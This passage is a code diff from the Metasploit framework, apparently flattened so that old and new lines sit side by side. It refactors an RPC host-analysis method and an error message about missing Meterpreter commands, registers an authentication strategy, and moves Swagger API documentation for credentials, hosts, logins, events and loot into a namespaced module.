return 'missing Meterpreter features: extension commands' if s.ext.aliases.include?(ext_name)
return "missing Meterpreter features: #{command_names_for(missing_cmd_ids)}" if s.ext.aliases.include?(ext_name)
begin
s.core.use(ext_name)
@@ -251,8 +254,7 @@ module Msf::PostMixin
end
end
missing_cmd_ids -= s.commands
return 'missing Meterpreter features: extension commands' unless missing_cmd_ids.empty?
return "missing Meterpreter features: #{command_names_for(missing_cmd_ids)}" unless missing_cmd_ids.empty?
end
# If we got here, we haven't found anything that definitely
@@ -288,4 +290,8 @@ protected
return false
end
end
def command_names_for(command_ids)
command_ids.map { |id|Rex::Post::Meterpreter::CommandMapper.get_command_name(id) }.join(', ')
end
end
+20 -17
View File
@@ -757,6 +757,7 @@ public
# @option xopts [String] :addr Host address.
# @option xopts [String] :address Same as :addr.
# @option xopts [String] :host Same as :address.
# @option xopts [Array<String>] :payloads All returned modules will support this payload
# @raise [Msf::RPC::ServerException] You might get one of these errors:
# * 500 ActiveRecord::ConnectionNotEstablished. Try: rpc.call('console.create').
# * 500 Database not loaded. Try: rpc.call('console.create')
@@ -772,25 +773,27 @@ public
def rpc_analyze_host(xopts)
::ApplicationRecord.connection_pool.with_connection {
_opts, _wspace = init_db_opts_workspace(xopts)
ret = {}
ret[:host] = []
ret = {
host: []
}
opts = fix_options(xopts)
h = self.framework.db.get_host(opts)
return ret unless h
h_result = self.framework.analyze.host(h)
host_detail = {}
host_detail[:address] = h.address
# for now only modules can be returned, in future maybe process whole result map
unless h_result[:modules].empty?
host_detail[:modules] = []
h_result[:modules].each do |mod|
mod_detail = {}
mod_detail[:mtype] = mod.type
mod_detail[:mname] = mod.fullname
host_detail[:modules] << mod_detail
host = self.framework.db.get_host(opts)
return ret unless host
analyze_options = {}
analyze_options[:payloads] = opts[:payloads] if opts[:payloads]
analyze_result = self.framework.analyze.host(host, **analyze_options)
module_suggestions = analyze_result[:results].sort_by { |result| result.mod.fullname }
host_detail = {
address: host.address,
modules: module_suggestions.map do |result|
mod = result.mod
{
mtype: mod.type,
mname: mod.fullname,
}
end
end
}
ret[:host] << host_detail
ret
}
@@ -1,7 +1,9 @@
require 'warden'
module Msf::WebServices::Authentication
module Strategies
Warden::Strategies.add(:api_token, Msf::WebServices::Authentication::Strategies::ApiToken)
Warden::Strategies.add(:admin_api_token, Msf::WebServices::Authentication::Strategies::AdminApiToken)
Warden::Strategies.add(:password, Msf::WebServices::Authentication::Strategies::UserPassword)
end
end
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module AuthApiDoc
module Msf::WebServices::Documentation::Api::V1::AuthApiDoc
include Swagger::Blocks
MESSAGE_DESC = 'The status of the authentication request.'
@@ -42,14 +42,14 @@ module AuthApiDoc
end
response 401 do
key :description, 'Invalid username or password. ' + RootApiDoc::DEFAULT_RESPONSE_401
key :description, 'Invalid username or password. ' + Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,7 +1,7 @@
require 'swagger/blocks'
# TODO: Complete this documentation when the credential model is fully implemented in the API.
module CredentialApiDoc
module Msf::WebServices::Documentation::Api::V1::CredentialApiDoc
include Swagger::Blocks
ORIGIN_ID_DESC = 'The ID of the origin record associated with this credential.'
@@ -74,13 +74,13 @@ module CredentialApiDoc
# Swagger documentation for Credential model
swagger_schema :Credential do
key :required, [:origin_id]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC
property :origin_type, type: :string, description: ORIGIN_TYPE_DESC, enum: ORIGIN_TYPE_CLASS_ENUM
property :private_id, type: :integer, format: :int32, description: PRIVATE_ID_DESC
property :public_id, type: :integer, format: :int32, description: PUBLIC_ID_DESC
property :realm_id, type: :integer, format: :int32, description: REALM_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :logins_count, type: :integer, format: :int32, description: LOGINS_COUNT_DESC
property :logins do
key :type, :array
@@ -90,36 +90,36 @@ module CredentialApiDoc
end
property :public, '$ref': :Public
property :private, '$ref': :Private
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Public do
key :required, [:username, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :type, type: :string, description: PUBLIC_TYPE_DESC, enum: PUBLIC_TYPE_ENUM
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Private do
key :required, [:data, :type]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_CLASS_ENUM
property :jtr_format, type: :string, description: JTR_FORMAT_DESC, example: JTR_FORMAT_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_schema :Realm do
key :required, [:key, :value]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :key, type: :string, description: KEY_DESC, example: KEY_EXAMPLE
property :value, type: :string, description: VALUE_DESC, example: VALUE_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/credentials' do
@@ -182,14 +182,14 @@ module CredentialApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -207,7 +207,7 @@ module CredentialApiDoc
key :description, 'The attributes to assign to the credential.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
property :private_data, type: :string, description: DATA_DESC, example: DATA_EXAMPLE
property :private_type, type: :string, description: PRIVATE_TYPE_DESC, enum: PRIVATE_TYPE_ENUM
@@ -227,7 +227,7 @@ module CredentialApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Credential
@@ -236,14 +236,14 @@ module CredentialApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -268,14 +268,14 @@ module CredentialApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -312,14 +312,14 @@ module CredentialApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -344,7 +344,7 @@ module CredentialApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Credential
@@ -353,14 +353,14 @@ module CredentialApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module DbExportApiDoc
module Msf::WebServices::Documentation::Api::V1::DbExportApiDoc
include Swagger::Blocks
swagger_path '/api/v1/db-export' do
@@ -37,14 +37,14 @@ module DbExportApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module EventApiDoc
module Msf::WebServices::Documentation::Api::V1::EventApiDoc
include Swagger::Blocks
NAME_DESC = 'The name of the event.'
@@ -15,15 +15,15 @@ module EventApiDoc
# Swagger documentation for Event model
swagger_schema :Event do
key :required, [:name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :seen, type: :string, description: SEEN_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
end
swagger_path '/api/v1/events' do
@@ -37,8 +37,8 @@ module EventApiDoc
parameter do
key :name, :limit
key :in, :query
key :description, RootApiDoc::LIMIT_DESC
key :example, RootApiDoc::LIMIT_DEFAULT
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::LIMIT_DESC
key :example, Msf::WebServices::Documentation::Api::V1::RootApiDoc::LIMIT_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
@@ -47,8 +47,8 @@ module EventApiDoc
parameter do
key :name, :offset
key :in, :query
key :description, RootApiDoc::OFFSET_DESC
key :example, RootApiDoc::OFFSET_DEFAULT
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::OFFSET_DESC
key :example, Msf::WebServices::Documentation::Api::V1::RootApiDoc::OFFSET_DEFAULT
key :type, :integer
key :format, :int32
key :required, false
@@ -57,10 +57,10 @@ module EventApiDoc
parameter do
key :name, :order
key :in, :query
key :description, RootApiDoc::ORDER_DESC
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::ORDER_DESC
key :type, :string
key :required, false
key :enum, RootApiDoc::ORDER_ENUM
key :enum, Msf::WebServices::Documentation::Api::V1::RootApiDoc::ORDER_ENUM
end
response 200 do
@@ -76,14 +76,14 @@ module EventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -101,9 +101,9 @@ module EventApiDoc
key :description, 'The attributes to assign to the event.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: Msf::WebServices::Documentation::Api::V1::RootApiDoc::HOST_EXAMPLE
property :critical, type: :boolean, description: CRITICAL_DESC
property :username, type: :string, description: USERNAME_DESC
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
@@ -111,7 +111,7 @@ module EventApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Event
@@ -120,14 +120,14 @@ module EventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -160,14 +160,14 @@ module EventApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module ExploitApiDoc
module Msf::WebServices::Documentation::Api::V1::ExploitApiDoc
include Swagger::Blocks
swagger_schema :Exploit do
@@ -56,7 +56,7 @@ module ExploitApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Exploit
@@ -65,14 +65,14 @@ module ExploitApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module HostApiDoc
module Msf::WebServices::Documentation::Api::V1::HostApiDoc
include Swagger::Blocks
HOST_DESC = 'The IP address of the host.'
@@ -62,7 +62,7 @@ module HostApiDoc
# Swagger documentation for Host model
swagger_schema :Host do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :address, type: :string, description: HOST_DESC, example: HOST_EXAMPLE
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
property :comm, type: :string, description: COMM_DESC
@@ -75,7 +75,7 @@ module HostApiDoc
property :os_family, type: :string, description: OS_FAMILY_DESC, example: OS_FAMILY_EXAMPLE
property :arch, type: :string, description: ARCH_DESC, enum: ARCH_ENUM
property :detected_arch, type: :string, description: DETECTED_ARCH_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :purpose, type: :string, description: PURPOSE_DESC
property :info, type: :string, description: INFO_DESC
property :comments, type: :string, description: COMMENTS_DESC
@@ -87,8 +87,8 @@ module HostApiDoc
property :host_detail_count, type: :integer, format: :int32, description: HOST_DETAIL_COUNT_DESC
property :exploit_attempt_count, type: :integer, format: :int32, description: EXPLOIT_ATTEMPT_COUNT_DESC
property :cred_count, type: :integer, format: :int32, description: CRED_COUNT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/hosts' do
@@ -114,14 +114,14 @@ module HostApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -139,7 +139,7 @@ module HostApiDoc
key :description, 'The attributes to assign to the host.'
key :required, true
schema do
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_EXAMPLE
property :workspace, type: :string, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_POST_EXAMPLE
property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: HOST_EXAMPLE
property :mac, type: :string, description: MAC_DESC, example: MAC_EXAMPLE
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
@@ -167,7 +167,7 @@ module HostApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Host
@@ -176,14 +176,14 @@ module HostApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -210,14 +210,14 @@ module HostApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -250,14 +250,14 @@ module HostApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -291,14 +291,14 @@ module HostApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module LoginApiDoc
module Msf::WebServices::Documentation::Api::V1::LoginApiDoc
include Swagger::Blocks
CORE_ID_DESC = 'The ID of the Metasploit::Credential::Core object this login is associated with.'
@@ -33,14 +33,14 @@ module LoginApiDoc
# Swagger documentation for Login model
swagger_schema :Login do
key :required, [:address, :name]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :core_id, type: :integer, format: :int32, required: true, description: CORE_ID_DESC
property :service_id, type: :integer, format: :int32, required: true, description: SERVICE_ID_DESC
property :access_level, type: :string, description: ACCESS_LEVEL_DESC, example: ACCESS_LEVEL_EXAMPLE
property :status, type: :string, description: STATUS_DESC, required: true, enum: STATUS_ENUM
property :last_attempted_at, type: :string, format: :date_time, description: LAST_ATTEMPTED_AT_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/logins' do
@@ -62,14 +62,14 @@ module LoginApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -87,7 +87,7 @@ module LoginApiDoc
key :description, 'The attributes to assign to the login.'
key :required, true
schema do
property :workspace_id, type: :integer, format: :int32, required: true, description: RootApiDoc::WORKSPACE_ID_DESC
property :workspace_id, type: :integer, format: :int32, required: true, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :core, '$ref' => :Credential, required: true, description: CORE_DESC
property :last_attempted_at, type: :string, format: :date_time, required: true, description: LAST_ATTEMPTED_AT_DESC
property :address, type: :string, format: :ipv4, required: true, description: ADDRESS_DESC, example: ADDRESS_EXAMPLE
@@ -100,7 +100,7 @@ module LoginApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Login
@@ -109,14 +109,14 @@ module LoginApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -143,7 +143,7 @@ module LoginApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
@@ -177,14 +177,14 @@ module LoginApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -209,7 +209,7 @@ module LoginApiDoc
end
response 200 do
key :description, RootApiDoc::DEFAULT_RESPONSE_200
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_200
schema do
property :data do
key :'$ref', :Login
@@ -218,14 +218,14 @@ module LoginApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -1,6 +1,6 @@
require 'swagger/blocks'
module LootApiDoc
module Msf::WebServices::Documentation::Api::V1::LootApiDoc
include Swagger::Blocks
HOST_ID_DESC = 'The ID of the host record this loot is associated with.'
@@ -26,8 +26,8 @@ module LootApiDoc
# Swagger documentation for loot model
swagger_schema :Loot do
key :required, [:name, :ltype, :path]
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: RootApiDoc::WORKSPACE_ID_DESC
property :id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::ID_DESC
property :workspace_id, type: :integer, format: :int32, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::WORKSPACE_ID_DESC
property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC
property :service_id, type: :integer, format: :int32, description: SERVICE_ID_DESC
property :ltype, type: :string, description: LTYPE_DESC, example: LTYPE_EXAMPLE
@@ -37,8 +37,8 @@ module LootApiDoc
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
property :info, type: :string, description: INFO_DESC
property :module_run_id, type: :integer, format: :int32, description: MODULE_RUN_ID_DESC
property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC
property :created_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::CREATED_AT_DESC
property :updated_at, type: :string, format: :date_time, description: Msf::WebServices::Documentation::Api::V1::RootApiDoc::UPDATED_AT_DESC
end
swagger_path '/api/v1/loots' do
@@ -62,14 +62,14 @@ module LootApiDoc
end
response 401 do
key :description, RootApiDoc::DEFAULT_RESPONSE_401
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_401
schema do
key :'$ref', :AuthErrorModel
end
end
response 500 do
key :description, RootApiDoc::DEFAULT_RESPONSE_500
key :description, Msf::WebServices::Documentation::Api::V1::RootApiDoc::DEFAULT_RESPONSE_500
schema do
key :'$ref', :ErrorModel
end
@@ -87,8 +87,8 @@ module LootApiDoc
key :description, 'The attributes to assign to the loot.'
key :required, true
schema do
